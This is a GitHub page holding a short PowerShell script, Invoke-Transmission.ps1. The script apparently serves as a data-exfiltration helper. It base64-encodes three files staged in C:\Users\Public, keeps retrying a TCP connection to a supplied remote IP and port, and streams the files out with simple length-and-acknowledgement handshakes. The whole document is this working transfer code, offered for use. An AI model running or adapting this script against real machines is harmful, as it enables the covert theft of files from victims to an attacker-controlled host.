-
Notifications
You must be signed in to change notification settings - Fork 0
/
Invoke-Transmission.ps1
41 lines (40 loc) · 1.65 KB
/
Invoke-Transmission.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function Invoke-Transmission {
Param (
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string]
$ip,
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[int]
$port = 9000
)
$g = New-Object byte[] 1
$Message1 = [text.Encoding]::Ascii.GetBytes([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Public\1')))
$Message2 = [text.Encoding]::Ascii.GetBytes([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Public\2')))
$Message3 = [text.Encoding]::Ascii.GetBytes([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Public\3')))
$count1 = [text.Encoding]::Ascii.GetBytes($Message1.Length)
$count2 = [text.Encoding]::Ascii.GetBytes($Message2.Length)
$count3 = [text.Encoding]::Ascii.GetBytes($Message3.Length)
do{
try { $client = New-Object System.Net.Sockets.TcpClient $ip, $port }
catch { Sleep 1;Write-Host Connecting... }
} while (-not $client.Connected)
$stream = $client.GetStream()
sleep 1
$stream.Write($count1, 0, $count1.Length)
$stream.read($g, 0, $g.Length)
$stream.Write($count2, 0, $count2.Length)
$stream.read($g, 0, $g.Length)
$stream.Write($count3, 0, $count3.Length)
$stream.read($g, 0, $g.Length)
$stream.Write($Message1, 0 ,$Message1.Length)
$stream.read($g, 0, $g.Length)
$stream.Write($Message2, 0 ,$Message2.Length)
$stream.read($g, 0, $g.Length)
$stream.Write($Message3, 0 ,$Message3.Length)
$stream.read($g, 0, $g.Length)
$client.Close()
$client.Dispose()
Write-Host Finished
}